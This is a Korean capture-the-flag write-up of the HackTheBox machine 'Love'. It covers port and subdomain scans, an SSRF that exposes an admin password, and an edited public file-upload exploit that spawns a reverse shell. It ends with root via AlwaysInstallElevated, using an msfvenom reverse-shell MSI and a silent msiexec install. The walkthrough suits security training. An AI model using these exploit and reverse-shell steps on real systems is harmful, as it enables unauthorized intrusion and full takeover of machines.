[HTB] Love

쥬스몬·2023년 10월 5일
0

HackTheBox

목록 보기
34/37
post-thumbnail

1. Recon

1.1. Port Scan

포트 스캔 시 Windows 박스 머신에서 자주 확인되는 포트들이 확인된다.

Starting Nmap 7.93 ( https://nmap.org ) at 2023-08-31 15:27 KST
Nmap scan report for 10.129.48.103
Host is up (0.22s latency).

PORT      STATE  SERVICE      VERSION
80/tcp    open   http         Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1j PHP/7.3.27)
|_http-title: Voting System using PHP
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27
| http-cookie-flags:
|   /:
|     PHPSESSID:
|_      httponly flag not set
135/tcp   open   msrpc        Microsoft Windows RPC
139/tcp   open   netbios-ssn  Microsoft Windows netbios-ssn
443/tcp   open   ssl/http     Apache httpd 2.4.46 (OpenSSL/1.1.1j PHP/7.3.27)
| tls-alpn:
|_  http/1.1
|_http-title: 403 Forbidden
|_ssl-date: TLS randomness does not represent time
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27
| ssl-cert: Subject: commonName=staging.love.htb/organizationName=ValentineCorp/stateOrProvinceName=m/countryName=in
| Not valid before: 2021-01-18T14:00:16
|_Not valid after:  2022-01-18T14:00:16
445/tcp   open   microsoft-ds Windows 10 Pro 19042 microsoft-ds (workgroup: WORKGROUP)
3306/tcp  open   mysql?
| fingerprint-strings:
|   NULL:
|_    Host '10.10.14.52' is not allowed to connect to this MariaDB server
5000/tcp  open   http         Apache httpd 2.4.46 (OpenSSL/1.1.1j PHP/7.3.27)
|_http-title: 403 Forbidden
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27
5040/tcp  open   unknown
5985/tcp  open   http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
5986/tcp  open   ssl/http     Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
| tls-alpn:
|_  http/1.1
| ssl-cert: Subject: commonName=LOVE
| Subject Alternative Name: DNS:LOVE, DNS:Love
| Not valid before: 2021-04-11T14:39:19
|_Not valid after:  2024-04-10T14:39:19
|_ssl-date: 2023-08-31T06:51:44+00:00; +21m33s from scanner time.
|_http-title: Not Found
7680/tcp  closed pando-pub
47001/tcp open   http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49664/tcp open   msrpc        Microsoft Windows RPC
49665/tcp open   msrpc        Microsoft Windows RPC
49666/tcp open   msrpc        Microsoft Windows RPC
49667/tcp open   msrpc        Microsoft Windows RPC
49668/tcp open   msrpc        Microsoft Windows RPC
49669/tcp open   msrpc        Microsoft Windows RPC
49670/tcp open   msrpc        Microsoft Windows RPC
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port3306-TCP:V=7.93%I=7%D=8/31%Time=64F032BC%P=arm-apple-darwin21.6.0%r
SF:(NULL,4A,"F\0\0\x01\xffj\x04Host\x20'10\.10\.14\.52'\x20is\x20not\x20al
SF:lowed\x20to\x20connect\x20to\x20this\x20MariaDB\x20server");
Service Info: Hosts: www.example.com, LOVE, www.love.htb; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode:
|   311:
|_    Message signing enabled but not required
| smb2-time:
|   date: 2023-08-31T06:51:31
|_  start_date: N/A
|_clock-skew: mean: 2h06m35s, deviation: 3h30m04s, median: 21m33s
| smb-os-discovery:
|   OS: Windows 10 Pro 19042 (Windows 10 Pro 6.3)
|   OS CPE: cpe:/o:microsoft:windows_10::-
|   Computer name: Love
|   NetBIOS computer name: LOVE\x00
|   Workgroup: WORKGROUP\x00
|_  System time: 2023-08-30T23:51:32-07:00
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 186.97 seconds

1.2. WEB

스캔된 포트 중 80/tcp, 443/tcp, 5000/tcp 포트가 웹 서비스로 파악되어 각각의 서비스를 살펴본다.

1.2.1. love.htb:80

80/tcp 서비스에 접근하면 아래와 같이 Voting System의 로그인 페이지가 확인된다.

일반적인 계정을 입력했지만 운이 좋지 않았기에, 디렉터리 스캔을 진행하니 흥미로워 보이는admin 디렉터리가 존재하는것을 알 수 있게됐다. 하지만 인증없이 접근은 불가능했다.

		/'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v1.5.0
________________________________________________

 :: Method           : GET
 :: URL              : http://love.htb/FUZZ
 :: Wordlist         : FUZZ: /Users/junsoo.jo/Desktop/Tools/WordList/SecLists/Discovery/Web-Content/raft-small-directories-lowercase.txt
 :: Extensions       : .php
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
 :: Filter           : Response size: 0,298
________________________________________________

includes                [Status: 301, Size: 332, Words: 22, Lines: 10, Duration: 208ms]
admin                   [Status: 301, Size: 329, Words: 22, Lines: 10, Duration: 212ms]
images                  [Status: 301, Size: 330, Words: 22, Lines: 10, Duration: 212ms]
plugins                 [Status: 301, Size: 331, Words: 22, Lines: 10, Duration: 212ms]
index.php               [Status: 200, Size: 4388, Words: 654, Lines: 126, Duration: 224ms]
dist                    [Status: 301, Size: 328, Words: 22, Lines: 10, Duration: 207ms]
tcpdf                   [Status: 301, Size: 329, Words: 22, Lines: 10, Duration: 214ms]
licenses                [Status: 403, Size: 417, Words: 37, Lines: 12, Duration: 212ms]
server-status           [Status: 403, Size: 417, Words: 37, Lines: 12, Duration: 211ms]

admin 경로에 인증이 미흡한 페이지가 존재하는지 확인하기 위해 해당 경로에서 페이지를 스캔하니 아래와 같은 결과를 볼 수 있었으나, 접근 가능한 페이지는 없었다.

		/'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v1.5.0
________________________________________________

 :: Method           : GET
 :: URL              : http://love.htb/FUZZ
 :: Wordlist         : FUZZ: /Users/junsoo.jo/Desktop/Tools/WordList/SecLists/Discovery/Web-Content/raft-small-directories-lowercase.txt
 :: Extensions       : .php
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
 :: Filter           : Response size: 0,298
________________________________________________

includes                [Status: 301, Size: 332, Words: 22, Lines: 10, Duration: 208ms]
admin                   [Status: 301, Size: 329, Words: 22, Lines: 10, Duration: 212ms]
images                  [Status: 301, Size: 330, Words: 22, Lines: 10, Duration: 212ms]
plugins                 [Status: 301, Size: 331, Words: 22, Lines: 10, Duration: 212ms]
index.php               [Status: 200, Size: 4388, Words: 654, Lines: 126, Duration: 224ms]
dist                    [Status: 301, Size: 328, Words: 22, Lines: 10, Duration: 207ms]
tcpdf                   [Status: 301, Size: 329, Words: 22, Lines: 10, Duration: 214ms]
licenses                [Status: 403, Size: 417, Words: 37, Lines: 12, Duration: 212ms]
server-status           [Status: 403, Size: 417, Words: 37, Lines: 12, Duration: 211ms]

1.2.2. love.htb:443

HackTheBox에서 SSL이 적용된 웹 서비스는 드문것 같은데 HTTPS 웹이 존재하여 접근하니 403 Error로 접근할 수 없었고, 디렉터리 스캔을 진행해도 전부 403 Error만 확인할 수 있었다.

1.2.3. love.htb:5000

5000/tcp 포트에서도 웹 서비스가 운영되고있었고 해당 서비스에서도 모든 경로가 403 Error로 접근할 수 없었다.

1.3. Sub Domain Scan

식별되는 웹 서비스에서 공격이 가능한 포인트를 찾지 못하여 서브 도메인을 스캔결과 아래와 같이 1건의 서브 도메인을 발견할 수 있었다.


        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v1.5.0
________________________________________________

 :: Method           : GET
 :: URL              : http://love.htb
 :: Wordlist         : FUZZ: /Users/junsoo.jo/Desktop/Tools/WordList/vhost-wordlist.txt
 :: Header           : Host: FUZZ.love.htb
 :: Output file      : vhost.love.htb.csv
 :: File format      : csv
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 100
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
 :: Filter           : Response size: 4388
 :: Filter           : Response words: 0
________________________________________________

staging                 [Status: 200, Size: 5357, Words: 1543, Lines: 192, Duration: 288ms]
:: Progress: [20575/20575] :: Job [1/1] :: 362 req/sec :: Duration: [0:01:00] :: Errors: 0 ::

1.3.1.staging.love.htb:80

80/tcp 포트로 서브도메인 접근 시 아래와 같은 로그인 페이지를 확인할 수 있다.

상단 메뉴 중 Demo에 접근 시 아래와 같이 URL을 입력받고 해당 파일에 대한 알려진 바이러스 등의 여부를 스캔해준다고한다.

SSRF 테스트를 위해 http://127.0.0.1:80/index.php을 입력하니 아래와 같이 반응을 한다!

2. FootHold

서비스 중인 모든 웹 서비스(80,443,5000/tcp)에서 건질만한 건이 없어서 서브도메인을 스캔했고 staging.love.htb라는 서브도메인의 80/tcp에서 SSRF에 대한 가능성을 확인했다.

2.1. SSRF

기존에 403 Error로 접근하지 못했던 5000/tcp에 접근이 가능한지 테스트를 위해 http://127.0.0.1:5000/을 스캔 요청하니 내부에서는 접근이 가능했는지 페이지를 확인할 수 있었고, 그안에 admin 계정의 패스워드를 확인할 수 있었다.

2.2. love.htb:80/admin

SSRF를 통해 확인된 관리자 계정을 최초에 확인했던 /admin/index.php에 접근하여 로그인 시도하니 아래와 같이 SourceCodeSter로 제작된 관리자 페이지가 확인된다.

Voting System 1.0 - File Upload RCE

SourceCodeSter의 Voting System이라는 투표 관리 시스템에서 PreAuth File Upload 취약점이 존재하는 것을 확인했다.

위 링크의 공개된 PoC에서 코드 일부에 셋팅을 공격대상과 공격자 정보로 변경한다.

# --- Edit your settings here ----
IP = "love.htb" # Website's URL
USERNAME = "admin" #Auth username
PASSWORD = "@LoveIsInTheAir!!!!" # Auth Password
REV_IP = "10.10.14.52" # Reverse shell IP
REV_PORT = "9000" # Reverse port 
# --------------------------------

love.htb:80 대상으로 poc를 실행했으나 응답이 느려 패킷을 확인하니 /votesystem/admin/index.php 로 요청을 날리는게 확인된다. 실제로 요청해야되는 경로는 /admin/index.php 로 poc코드의 일부를 수정한다.

# 수정 전
INDEX_PAGE = f"http://{IP}/votesystem/admin/index.php"
LOGIN_URL = f"http://{IP}/votesystem/admin/login.php"
VOTE_URL = f"http://{IP}/votesystem/admin/voters_add.php"
CALL_SHELL = f"http://{IP}/votesystem/images/shell.php"

#수정 후
INDEX_PAGE = f"http://{IP}/admin/index.php"
LOGIN_URL = f"http://{IP}/admin/login.php"
VOTE_URL = f"http://{IP}/admin/voters_add.php"
CALL_SHELL = f"http://{IP}/images/shell.php"

3. User

SSRF를 통해 내부에서만 접근할 수 있는 5000/tcp포트로 서비스중인 웹에 접근할 수 있었고 해당 페이지에서 관리자 패스워드를 획득하여 관리자 페이지에 접근할 수 있었고, 해당 페이지는 SourceCodeSter-VotingSystem으로 인증없이 File Upload를 할 수 있는 취약점이 존재하였다. 해당 취약점의 PoC를 통해 리버스 커넥션을 진행한다.

3.1. phoebe

리스너(9000포트)를 열고 수정된 PoC를 동작하면 아래와 같이 쉘이 업로드되고 리버스 프록시에 연결할 수 있다.

% nc -l 9001 -vn
b374k shell : connected

Microsoft Windows [Version 10.0.19042.867]
(c) 2020 Microsoft Corporation. All rights reserved.

C:\xampp\htdocs\omrs\images>whoami
whoami
love\phoebe

3.1.1. WinPEAS

phoebe 계정의 터미널에서 WinPEAS를 실행 시켜 시스템 정보를 수집했고, 흥미로운 설정을 확인할 수 있었다.

winpeas 결과에서 흥미로운 점은 아래와 같은 설정이다.

AlwaysInstallElevated set to 1 in HKLM!
AlwaysInstallElevated set to 1 in HKCU!

AlwaysInstallElevated

AlwaysInstallElevated 레지스터가 활성화(0x1) 되어있다면 시스템 권한으로 .msi 와 같은 설치 파일을 실행할 수 있다. (참고 : Windows Local Privilege Escalation - AlwaysInstallElevated)

이를 악용하기위해 msfvenom으로 악성 msi파일을 제작한다.

┌──(root㉿kali)-[~/Desktop/love]
└─# msfvenom -p windows -a x64 -p windows/x64/shell_reverse_tcp LHOST=10.10.14.52 LPORT=443 -f msi -o rev.msi
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No encoder specified, outputting raw payload
Payload size: 460 bytes
Final size of msi file: 159744 bytes
Saved as: rev.msi

3.2. Administrator

AlwaysInstallElevated 설정을 악용하기 위해 악성 msi 파일을 생성하였고 해당 파일을 대상 서버로 전달하였고 phoebe 사용자 쉘을 이용해 가져와서 아래와 같은 명령통해 설치파일을 실행한다.

C:\xampp\htdocs\omrs\images>msiexec /quiet /qn /i rev.msi
msiexec /quiet /qn /i rev.msi

이후 공격자 리스닝 포트(443)으로 system 계정이 연결된것을 확인할 수 있었다.

profile
블로그 이사 (https://juicemon-code.github.io/)

0개의 댓글